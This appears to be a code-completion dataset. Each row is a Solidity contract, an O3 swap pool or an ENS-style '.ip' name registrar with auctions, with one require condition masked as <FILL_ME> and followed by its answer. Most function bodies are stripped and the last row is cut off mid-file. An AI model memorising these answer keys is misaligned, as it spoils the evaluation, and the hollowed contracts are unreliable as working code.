require(_futureTime >= block.timestamp + MIN_RAMP_TIME, "O3SwapPool: insufficient ramp time");
require(_futureA > 0 && _futureA < MAX_A, "O3SwapPool: futureA must in range (0, MAX_A)");
uint256 initialAPrecise = _getAPrecise();
uint256 futureAPrecise = _futureA * A_PRECISION;
if (futureAPrecise < initialAPrecise) {
require(<FILL_ME>)
} else {
require(futureAPrecise <= initialAPrecise * MAX_A_CHANGE, "O3SwapPool: futureA too large");
}
initialA = initialAPrecise;
futureA = futureAPrecise;
initialATime = block.timestamp;
futureATime = _futureTime;
emit RampA(initialAPrecise, futureAPrecise, block.timestamp, _futureTime);
}
function stopRampA() external onlyOwner {
}
}
| futureAPrecise*MAX_A_CHANGE>=initialAPrecise,"O3SwapPool: futureA too small" | 437,763 | futureAPrecise*MAX_A_CHANGE>=initialAPrecise |
null | //SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;
import "./ENS.sol";
import {BaseRegistrar} from "./BaseRegistrar.sol";
import {PublicResolver} from "./PublicResolver.sol";
import {ReverseRegistrar} from "./ReverseRegistrar.sol";
import {IETHRegistrarController, IPriceOracle} from "@ensdomains/ens-contracts/contracts/ethregistrar/IETHRegistrarController.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ERC20Recoverable} from "@ensdomains/ens-contracts/contracts/utils/ERC20Recoverable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "solady/src/utils/LibString.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./Normalize4.sol";
import "solady/src/utils/DynamicBufferLib.sol";
import "solady/src/utils/SSTORE2.sol";
error NameNotAvailable(string name);
error DurationTooShort(uint256 duration);
error InsufficientValue();
import "hardhat/console.sol";
contract IPRegistrarController is
Ownable,
IETHRegistrarController,
IERC165,
ERC20Recoverable,
ReentrancyGuard
{
using LibString for *;
using Address for *;
using EnumerableSet for EnumerableSet.UintSet;
using SafeTransferLib for address;
using DynamicBufferLib for DynamicBufferLib.DynamicBuffer;
uint256 public constant MIN_REGISTRATION_DURATION = 28 days;
BaseRegistrar immutable base;
IPriceOracle public immutable prices;
ENS public immutable ens;
address public defaultResolver;
ReverseRegistrar public reverseRegistrar;
Normalize4 public normalizer;
string public constant tldString = 'ip';
bytes32 public constant tldLabel = keccak256(abi.encodePacked(tldString));
bytes32 public constant rootNode = bytes32(0);
bytes32 public immutable tldNode = keccak256(abi.encodePacked(rootNode, tldLabel));
mapping (uint => string) public hashToLabelString;
uint64 public auctionTimeBuffer = 15 minutes;
uint256 public auctionMinBidIncrementPercentage = 10;
uint64 public auctionDuration = 24 hours;
bool public contractInAuctionMode = true;
mapping(uint => Auction) public auctions;
EnumerableSet.UintSet activeAuctionIds;
uint public ethAvailableToWithdraw;
address payable public withdrawAddress;
address public logoSVG;
address[] public fonts;
struct Auction {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
}
struct AuctionInfo {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
uint minNextBid;
address highestBidder;
uint highestBidAMount;
}
struct Bid {
uint80 amount;
address bidder;
}
event AuctionStarted(uint indexed tokenId, uint startTime, uint endTime);
event AuctionExtended(uint indexed tokenId, uint endTime);
event AuctionBid(uint indexed tokenId, address bidder, uint bidValue, bool auctionExtended);
event AuctionSettled(uint indexed tokenId, address winner, uint amount);
event NameRegistered(
string name,
bytes32 indexed label,
address indexed owner,
uint256 baseCost,
uint256 premium,
uint256 expires
);
event NameRenewed(
string name,
bytes32 indexed label,
uint256 cost,
uint256 expires
);
event AuctionWithdraw(address indexed addr, uint indexed total);
event Withdraw(address indexed addr, uint indexed total);
function setDefaultResolver(address _defaultResolver) public onlyOwner {
}
function setReverseRegistrar(ReverseRegistrar _reverseRegistrar) public onlyOwner {
}
function setNormalizer(Normalize4 _normalizer) public onlyOwner {
}
function setAuctionTimeBuffer(uint64 _auctionTimeBuffer) public onlyOwner {
}
function setAuctionMinBidIncrementPercentage(uint256 _auctionMinBidIncrementPercentage) public onlyOwner {
}
function setAuctionDuration(uint64 _auctionDuration) public onlyOwner {
}
function setContractInAuctionMode(bool _contractInAuctionMode) public onlyOwner {
}
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
modifier onlyBaseRegistrar() {
}
constructor(
ENS _ens,
BaseRegistrar _base,
IPriceOracle _prices,
ReverseRegistrar _reverseRegistrar,
Normalize4 _normalizer,
string memory _logoSVG,
string[5] memory _fonts
) {
}
bool preRegisterDone;
function preRegisterNames(
string[] calldata names,
bytes[][] calldata data,
address owner
) external onlyOwner {
require(<FILL_ME>)
for (uint i; i < names.length; ++i) {
_registerWithoutCommitment(
names[i],
owner,
365 days,
address(0),
data[0],
false,
0,
0
);
}
preRegisterDone = true;
}
function rentPrice(string memory name, uint256 duration)
public
view
override
returns (IPriceOracle.Price memory price)
{
}
function valid(string memory name) public view returns (bool) {
}
function available(string memory name) public view override returns (bool) {
}
function register(
string calldata name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public payable override {
}
function auctionMinNextBid(uint currentHighestBid) public view returns (uint) {
}
function max(uint a, uint b) internal pure returns (uint) {
}
function auctionHighestBid(uint tokenId) public view returns (Bid memory) {
}
function getAuction(string memory name) public view returns (AuctionInfo memory) {
}
function bidOnName(string calldata name) external payable nonReentrant returns (bool success) {
}
function settleAuction(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) external nonReentrant {
}
function registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) public payable nonReentrant {
}
function _registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint basePrice,
uint pricePremium
) internal {
}
function renew(string calldata name, uint256 duration) external payable override nonReentrant {
}
function auctionWithdraw() external nonReentrant {
}
function withdraw() external nonReentrant onlyOwner {
}
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool)
{
}
function beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {}
function afterTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {
}
function getAllActiveAuctions() external view returns (AuctionInfo[] memory) {
}
function getActiveAuctionsInBatches(uint batchIdx, uint batchSize) public view returns (AuctionInfo[] memory) {
}
/* Internal functions */
function _setRecords(
address resolverAddress,
bytes32 label,
bytes[] calldata data
) internal {
}
function _setReverseRecord(
string memory name,
address resolver,
address owner
) internal {
}
function _makeNode(bytes32 node, bytes32 labelhash)
public
pure
returns (bytes32)
{
}
function makeCommitment(
string memory name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public pure override returns (bytes32) {
}
function commit(bytes32 commitment) public override {
}
function allFonts() public view returns (string memory) {
}
function setFonts(string[5] memory _fonts) public onlyOwner {
}
function setLogoSVG(string memory _logoSVG) public onlyOwner {
}
}
| !preRegisterDone | 437,778 | !preRegisterDone |
"Not available" | //SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;
import "./ENS.sol";
import {BaseRegistrar} from "./BaseRegistrar.sol";
import {PublicResolver} from "./PublicResolver.sol";
import {ReverseRegistrar} from "./ReverseRegistrar.sol";
import {IETHRegistrarController, IPriceOracle} from "@ensdomains/ens-contracts/contracts/ethregistrar/IETHRegistrarController.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ERC20Recoverable} from "@ensdomains/ens-contracts/contracts/utils/ERC20Recoverable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "solady/src/utils/LibString.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./Normalize4.sol";
import "solady/src/utils/DynamicBufferLib.sol";
import "solady/src/utils/SSTORE2.sol";
error NameNotAvailable(string name);
error DurationTooShort(uint256 duration);
error InsufficientValue();
import "hardhat/console.sol";
contract IPRegistrarController is
Ownable,
IETHRegistrarController,
IERC165,
ERC20Recoverable,
ReentrancyGuard
{
using LibString for *;
using Address for *;
using EnumerableSet for EnumerableSet.UintSet;
using SafeTransferLib for address;
using DynamicBufferLib for DynamicBufferLib.DynamicBuffer;
uint256 public constant MIN_REGISTRATION_DURATION = 28 days;
BaseRegistrar immutable base;
IPriceOracle public immutable prices;
ENS public immutable ens;
address public defaultResolver;
ReverseRegistrar public reverseRegistrar;
Normalize4 public normalizer;
string public constant tldString = 'ip';
bytes32 public constant tldLabel = keccak256(abi.encodePacked(tldString));
bytes32 public constant rootNode = bytes32(0);
bytes32 public immutable tldNode = keccak256(abi.encodePacked(rootNode, tldLabel));
mapping (uint => string) public hashToLabelString;
uint64 public auctionTimeBuffer = 15 minutes;
uint256 public auctionMinBidIncrementPercentage = 10;
uint64 public auctionDuration = 24 hours;
bool public contractInAuctionMode = true;
mapping(uint => Auction) public auctions;
EnumerableSet.UintSet activeAuctionIds;
uint public ethAvailableToWithdraw;
address payable public withdrawAddress;
address public logoSVG;
address[] public fonts;
struct Auction {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
}
struct AuctionInfo {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
uint minNextBid;
address highestBidder;
uint highestBidAMount;
}
struct Bid {
uint80 amount;
address bidder;
}
event AuctionStarted(uint indexed tokenId, uint startTime, uint endTime);
event AuctionExtended(uint indexed tokenId, uint endTime);
event AuctionBid(uint indexed tokenId, address bidder, uint bidValue, bool auctionExtended);
event AuctionSettled(uint indexed tokenId, address winner, uint amount);
event NameRegistered(
string name,
bytes32 indexed label,
address indexed owner,
uint256 baseCost,
uint256 premium,
uint256 expires
);
event NameRenewed(
string name,
bytes32 indexed label,
uint256 cost,
uint256 expires
);
event AuctionWithdraw(address indexed addr, uint indexed total);
event Withdraw(address indexed addr, uint indexed total);
function setDefaultResolver(address _defaultResolver) public onlyOwner {
}
function setReverseRegistrar(ReverseRegistrar _reverseRegistrar) public onlyOwner {
}
function setNormalizer(Normalize4 _normalizer) public onlyOwner {
}
function setAuctionTimeBuffer(uint64 _auctionTimeBuffer) public onlyOwner {
}
function setAuctionMinBidIncrementPercentage(uint256 _auctionMinBidIncrementPercentage) public onlyOwner {
}
function setAuctionDuration(uint64 _auctionDuration) public onlyOwner {
}
function setContractInAuctionMode(bool _contractInAuctionMode) public onlyOwner {
}
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
modifier onlyBaseRegistrar() {
}
constructor(
ENS _ens,
BaseRegistrar _base,
IPriceOracle _prices,
ReverseRegistrar _reverseRegistrar,
Normalize4 _normalizer,
string memory _logoSVG,
string[5] memory _fonts
) {
}
bool preRegisterDone;
function preRegisterNames(
string[] calldata names,
bytes[][] calldata data,
address owner
) external onlyOwner {
}
function rentPrice(string memory name, uint256 duration)
public
view
override
returns (IPriceOracle.Price memory price)
{
}
function valid(string memory name) public view returns (bool) {
}
function available(string memory name) public view override returns (bool) {
}
function register(
string calldata name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public payable override {
}
function auctionMinNextBid(uint currentHighestBid) public view returns (uint) {
}
function max(uint a, uint b) internal pure returns (uint) {
}
function auctionHighestBid(uint tokenId) public view returns (Bid memory) {
}
function getAuction(string memory name) public view returns (AuctionInfo memory) {
}
function bidOnName(string calldata name) external payable nonReentrant returns (bool success) {
uint256 tokenId = uint256(keccak256(bytes(name)));
Auction storage auction = auctions[tokenId];
Bid memory highestBid = auctionHighestBid(tokenId);
require(contractInAuctionMode, "Contract not in auction mode");
require(msg.value < type(uint80).max, "Out of range");
require(msg.value >= auctionMinNextBid(highestBid.amount), 'Must send at least min increment');
require(auction.endTime == 0 || block.timestamp < auction.endTime, "Auction ended");
if (auction.startTime == 0) {
uint reservePrice = (rentPrice(name, 365 days)).base;
require(msg.value >= reservePrice, 'Must send at least reservePrice');
require(<FILL_ME>)
auction.startTime = uint64(block.timestamp);
auction.endTime = uint64(block.timestamp + auctionDuration);
auction.tokenId = tokenId;
auction.name = name;
activeAuctionIds.add(tokenId);
emit AuctionStarted(tokenId, auction.startTime, auction.endTime);
}
if (highestBid.bidder != address(0)) {
highestBid.bidder.forceSafeTransferETH(highestBid.amount);
}
Bid memory newBid = Bid({
amount: uint80(msg.value),
bidder: msg.sender
});
auction.bids.push(newBid);
bool extendAuction = auction.endTime - block.timestamp < auctionTimeBuffer;
if (extendAuction) {
auction.endTime = uint64(block.timestamp + auctionTimeBuffer);
emit AuctionExtended(tokenId, auction.endTime);
}
emit AuctionBid(tokenId, newBid.bidder, newBid.amount, extendAuction);
return true;
}
function settleAuction(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) external nonReentrant {
}
function registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) public payable nonReentrant {
}
function _registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint basePrice,
uint pricePremium
) internal {
}
function renew(string calldata name, uint256 duration) external payable override nonReentrant {
}
function auctionWithdraw() external nonReentrant {
}
function withdraw() external nonReentrant onlyOwner {
}
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool)
{
}
function beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {}
function afterTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {
}
function getAllActiveAuctions() external view returns (AuctionInfo[] memory) {
}
function getActiveAuctionsInBatches(uint batchIdx, uint batchSize) public view returns (AuctionInfo[] memory) {
}
/* Internal functions */
function _setRecords(
address resolverAddress,
bytes32 label,
bytes[] calldata data
) internal {
}
function _setReverseRecord(
string memory name,
address resolver,
address owner
) internal {
}
function _makeNode(bytes32 node, bytes32 labelhash)
public
pure
returns (bytes32)
{
}
function makeCommitment(
string memory name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public pure override returns (bytes32) {
}
function commit(bytes32 commitment) public override {
}
function allFonts() public view returns (string memory) {
}
function setFonts(string[5] memory _fonts) public onlyOwner {
}
function setLogoSVG(string memory _logoSVG) public onlyOwner {
}
}
| available(name),"Not available" | 437,778 | available(name) |
"Contract in auction mode" | //SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;
import "./ENS.sol";
import {BaseRegistrar} from "./BaseRegistrar.sol";
import {PublicResolver} from "./PublicResolver.sol";
import {ReverseRegistrar} from "./ReverseRegistrar.sol";
import {IETHRegistrarController, IPriceOracle} from "@ensdomains/ens-contracts/contracts/ethregistrar/IETHRegistrarController.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ERC20Recoverable} from "@ensdomains/ens-contracts/contracts/utils/ERC20Recoverable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "solady/src/utils/LibString.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./Normalize4.sol";
import "solady/src/utils/DynamicBufferLib.sol";
import "solady/src/utils/SSTORE2.sol";
error NameNotAvailable(string name);
error DurationTooShort(uint256 duration);
error InsufficientValue();
import "hardhat/console.sol";
contract IPRegistrarController is
Ownable,
IETHRegistrarController,
IERC165,
ERC20Recoverable,
ReentrancyGuard
{
using LibString for *;
using Address for *;
using EnumerableSet for EnumerableSet.UintSet;
using SafeTransferLib for address;
using DynamicBufferLib for DynamicBufferLib.DynamicBuffer;
uint256 public constant MIN_REGISTRATION_DURATION = 28 days;
BaseRegistrar immutable base;
IPriceOracle public immutable prices;
ENS public immutable ens;
address public defaultResolver;
ReverseRegistrar public reverseRegistrar;
Normalize4 public normalizer;
string public constant tldString = 'ip';
bytes32 public constant tldLabel = keccak256(abi.encodePacked(tldString));
bytes32 public constant rootNode = bytes32(0);
bytes32 public immutable tldNode = keccak256(abi.encodePacked(rootNode, tldLabel));
mapping (uint => string) public hashToLabelString;
uint64 public auctionTimeBuffer = 15 minutes;
uint256 public auctionMinBidIncrementPercentage = 10;
uint64 public auctionDuration = 24 hours;
bool public contractInAuctionMode = true;
mapping(uint => Auction) public auctions;
EnumerableSet.UintSet activeAuctionIds;
uint public ethAvailableToWithdraw;
address payable public withdrawAddress;
address public logoSVG;
address[] public fonts;
struct Auction {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
}
struct AuctionInfo {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
uint minNextBid;
address highestBidder;
uint highestBidAMount;
}
struct Bid {
uint80 amount;
address bidder;
}
event AuctionStarted(uint indexed tokenId, uint startTime, uint endTime);
event AuctionExtended(uint indexed tokenId, uint endTime);
event AuctionBid(uint indexed tokenId, address bidder, uint bidValue, bool auctionExtended);
event AuctionSettled(uint indexed tokenId, address winner, uint amount);
event NameRegistered(
string name,
bytes32 indexed label,
address indexed owner,
uint256 baseCost,
uint256 premium,
uint256 expires
);
event NameRenewed(
string name,
bytes32 indexed label,
uint256 cost,
uint256 expires
);
event AuctionWithdraw(address indexed addr, uint indexed total);
event Withdraw(address indexed addr, uint indexed total);
function setDefaultResolver(address _defaultResolver) public onlyOwner {
}
function setReverseRegistrar(ReverseRegistrar _reverseRegistrar) public onlyOwner {
}
function setNormalizer(Normalize4 _normalizer) public onlyOwner {
}
function setAuctionTimeBuffer(uint64 _auctionTimeBuffer) public onlyOwner {
}
function setAuctionMinBidIncrementPercentage(uint256 _auctionMinBidIncrementPercentage) public onlyOwner {
}
function setAuctionDuration(uint64 _auctionDuration) public onlyOwner {
}
function setContractInAuctionMode(bool _contractInAuctionMode) public onlyOwner {
}
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
modifier onlyBaseRegistrar() {
}
constructor(
ENS _ens,
BaseRegistrar _base,
IPriceOracle _prices,
ReverseRegistrar _reverseRegistrar,
Normalize4 _normalizer,
string memory _logoSVG,
string[5] memory _fonts
) {
}
bool preRegisterDone;
function preRegisterNames(
string[] calldata names,
bytes[][] calldata data,
address owner
) external onlyOwner {
}
function rentPrice(string memory name, uint256 duration)
public
view
override
returns (IPriceOracle.Price memory price)
{
}
function valid(string memory name) public view returns (bool) {
}
function available(string memory name) public view override returns (bool) {
}
function register(
string calldata name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public payable override {
}
function auctionMinNextBid(uint currentHighestBid) public view returns (uint) {
}
function max(uint a, uint b) internal pure returns (uint) {
}
function auctionHighestBid(uint tokenId) public view returns (Bid memory) {
}
function getAuction(string memory name) public view returns (AuctionInfo memory) {
}
function bidOnName(string calldata name) external payable nonReentrant returns (bool success) {
}
function settleAuction(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) external nonReentrant {
}
function registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) public payable nonReentrant {
require(<FILL_ME>)
uint tokenId = uint256(keccak256(bytes(name)));
require(!activeAuctionIds.contains(tokenId), "Name in auction");
IPriceOracle.Price memory price = rentPrice(name, duration);
if (msg.value < price.base + price.premium) revert InsufficientValue();
if (duration < MIN_REGISTRATION_DURATION) revert DurationTooShort(duration);
_registerWithoutCommitment(
name,
owner,
duration,
resolver,
data,
reverseRecord,
price.base,
price.premium
);
if (msg.value > (price.base + price.premium)) {
msg.sender.forceSafeTransferETH(
msg.value - (price.base + price.premium)
);
}
}
function _registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint basePrice,
uint pricePremium
) internal {
}
function renew(string calldata name, uint256 duration) external payable override nonReentrant {
}
function auctionWithdraw() external nonReentrant {
}
function withdraw() external nonReentrant onlyOwner {
}
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool)
{
}
function beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {}
function afterTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {
}
function getAllActiveAuctions() external view returns (AuctionInfo[] memory) {
}
function getActiveAuctionsInBatches(uint batchIdx, uint batchSize) public view returns (AuctionInfo[] memory) {
}
/* Internal functions */
function _setRecords(
address resolverAddress,
bytes32 label,
bytes[] calldata data
) internal {
}
function _setReverseRecord(
string memory name,
address resolver,
address owner
) internal {
}
function _makeNode(bytes32 node, bytes32 labelhash)
public
pure
returns (bytes32)
{
}
function makeCommitment(
string memory name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public pure override returns (bytes32) {
}
function commit(bytes32 commitment) public override {
}
function allFonts() public view returns (string memory) {
}
function setFonts(string[5] memory _fonts) public onlyOwner {
}
function setLogoSVG(string memory _logoSVG) public onlyOwner {
}
}
| !contractInAuctionMode,"Contract in auction mode" | 437,778 | !contractInAuctionMode |
"Name in auction" | //SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;
import "./ENS.sol";
import {BaseRegistrar} from "./BaseRegistrar.sol";
import {PublicResolver} from "./PublicResolver.sol";
import {ReverseRegistrar} from "./ReverseRegistrar.sol";
import {IETHRegistrarController, IPriceOracle} from "@ensdomains/ens-contracts/contracts/ethregistrar/IETHRegistrarController.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ERC20Recoverable} from "@ensdomains/ens-contracts/contracts/utils/ERC20Recoverable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "solady/src/utils/LibString.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./Normalize4.sol";
import "solady/src/utils/DynamicBufferLib.sol";
import "solady/src/utils/SSTORE2.sol";
error NameNotAvailable(string name);
error DurationTooShort(uint256 duration);
error InsufficientValue();
import "hardhat/console.sol";
contract IPRegistrarController is
Ownable,
IETHRegistrarController,
IERC165,
ERC20Recoverable,
ReentrancyGuard
{
using LibString for *;
using Address for *;
using EnumerableSet for EnumerableSet.UintSet;
using SafeTransferLib for address;
using DynamicBufferLib for DynamicBufferLib.DynamicBuffer;
uint256 public constant MIN_REGISTRATION_DURATION = 28 days;
BaseRegistrar immutable base;
IPriceOracle public immutable prices;
ENS public immutable ens;
address public defaultResolver;
ReverseRegistrar public reverseRegistrar;
Normalize4 public normalizer;
string public constant tldString = 'ip';
bytes32 public constant tldLabel = keccak256(abi.encodePacked(tldString));
bytes32 public constant rootNode = bytes32(0);
bytes32 public immutable tldNode = keccak256(abi.encodePacked(rootNode, tldLabel));
mapping (uint => string) public hashToLabelString;
uint64 public auctionTimeBuffer = 15 minutes;
uint256 public auctionMinBidIncrementPercentage = 10;
uint64 public auctionDuration = 24 hours;
bool public contractInAuctionMode = true;
mapping(uint => Auction) public auctions;
EnumerableSet.UintSet activeAuctionIds;
uint public ethAvailableToWithdraw;
address payable public withdrawAddress;
address public logoSVG;
address[] public fonts;
struct Auction {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
}
struct AuctionInfo {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
uint minNextBid;
address highestBidder;
uint highestBidAMount;
}
struct Bid {
uint80 amount;
address bidder;
}
event AuctionStarted(uint indexed tokenId, uint startTime, uint endTime);
event AuctionExtended(uint indexed tokenId, uint endTime);
event AuctionBid(uint indexed tokenId, address bidder, uint bidValue, bool auctionExtended);
event AuctionSettled(uint indexed tokenId, address winner, uint amount);
event NameRegistered(
string name,
bytes32 indexed label,
address indexed owner,
uint256 baseCost,
uint256 premium,
uint256 expires
);
event NameRenewed(
string name,
bytes32 indexed label,
uint256 cost,
uint256 expires
);
event AuctionWithdraw(address indexed addr, uint indexed total);
event Withdraw(address indexed addr, uint indexed total);
function setDefaultResolver(address _defaultResolver) public onlyOwner {
}
function setReverseRegistrar(ReverseRegistrar _reverseRegistrar) public onlyOwner {
}
function setNormalizer(Normalize4 _normalizer) public onlyOwner {
}
function setAuctionTimeBuffer(uint64 _auctionTimeBuffer) public onlyOwner {
}
function setAuctionMinBidIncrementPercentage(uint256 _auctionMinBidIncrementPercentage) public onlyOwner {
}
function setAuctionDuration(uint64 _auctionDuration) public onlyOwner {
}
function setContractInAuctionMode(bool _contractInAuctionMode) public onlyOwner {
}
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
modifier onlyBaseRegistrar() {
}
constructor(
ENS _ens,
BaseRegistrar _base,
IPriceOracle _prices,
ReverseRegistrar _reverseRegistrar,
Normalize4 _normalizer,
string memory _logoSVG,
string[5] memory _fonts
) {
}
bool preRegisterDone;
function preRegisterNames(
string[] calldata names,
bytes[][] calldata data,
address owner
) external onlyOwner {
}
function rentPrice(string memory name, uint256 duration)
public
view
override
returns (IPriceOracle.Price memory price)
{
}
function valid(string memory name) public view returns (bool) {
}
function available(string memory name) public view override returns (bool) {
}
function register(
string calldata name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public payable override {
}
function auctionMinNextBid(uint currentHighestBid) public view returns (uint) {
}
function max(uint a, uint b) internal pure returns (uint) {
}
function auctionHighestBid(uint tokenId) public view returns (Bid memory) {
}
function getAuction(string memory name) public view returns (AuctionInfo memory) {
}
function bidOnName(string calldata name) external payable nonReentrant returns (bool success) {
}
function settleAuction(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) external nonReentrant {
}
function registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) public payable nonReentrant {
require(!contractInAuctionMode, "Contract in auction mode");
uint tokenId = uint256(keccak256(bytes(name)));
require(<FILL_ME>)
IPriceOracle.Price memory price = rentPrice(name, duration);
if (msg.value < price.base + price.premium) revert InsufficientValue();
if (duration < MIN_REGISTRATION_DURATION) revert DurationTooShort(duration);
_registerWithoutCommitment(
name,
owner,
duration,
resolver,
data,
reverseRecord,
price.base,
price.premium
);
if (msg.value > (price.base + price.premium)) {
msg.sender.forceSafeTransferETH(
msg.value - (price.base + price.premium)
);
}
}
function _registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint basePrice,
uint pricePremium
) internal {
}
function renew(string calldata name, uint256 duration) external payable override nonReentrant {
}
function auctionWithdraw() external nonReentrant {
}
function withdraw() external nonReentrant onlyOwner {
}
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool)
{
}
function beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {}
function afterTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {
}
function getAllActiveAuctions() external view returns (AuctionInfo[] memory) {
}
function getActiveAuctionsInBatches(uint batchIdx, uint batchSize) public view returns (AuctionInfo[] memory) {
}
/* Internal functions */
function _setRecords(
address resolverAddress,
bytes32 label,
bytes[] calldata data
) internal {
}
function _setReverseRecord(
string memory name,
address resolver,
address owner
) internal {
}
function _makeNode(bytes32 node, bytes32 labelhash)
public
pure
returns (bytes32)
{
}
function makeCommitment(
string memory name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public pure override returns (bytes32) {
}
function commit(bytes32 commitment) public override {
}
function allFonts() public view returns (string memory) {
}
function setFonts(string[5] memory _fonts) public onlyOwner {
}
function setLogoSVG(string memory _logoSVG) public onlyOwner {
}
}
| !activeAuctionIds.contains(tokenId),"Name in auction" | 437,778 | !activeAuctionIds.contains(tokenId) |
null | //SPDX-License-Identifier: MIT
pragma solidity ~0.8.17;
import "./ENS.sol";
import {BaseRegistrar} from "./BaseRegistrar.sol";
import {PublicResolver} from "./PublicResolver.sol";
import {ReverseRegistrar} from "./ReverseRegistrar.sol";
import {IETHRegistrarController, IPriceOracle} from "@ensdomains/ens-contracts/contracts/ethregistrar/IETHRegistrarController.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC165} from "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ERC20Recoverable} from "@ensdomains/ens-contracts/contracts/utils/ERC20Recoverable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "solady/src/utils/LibString.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./Normalize4.sol";
import "solady/src/utils/DynamicBufferLib.sol";
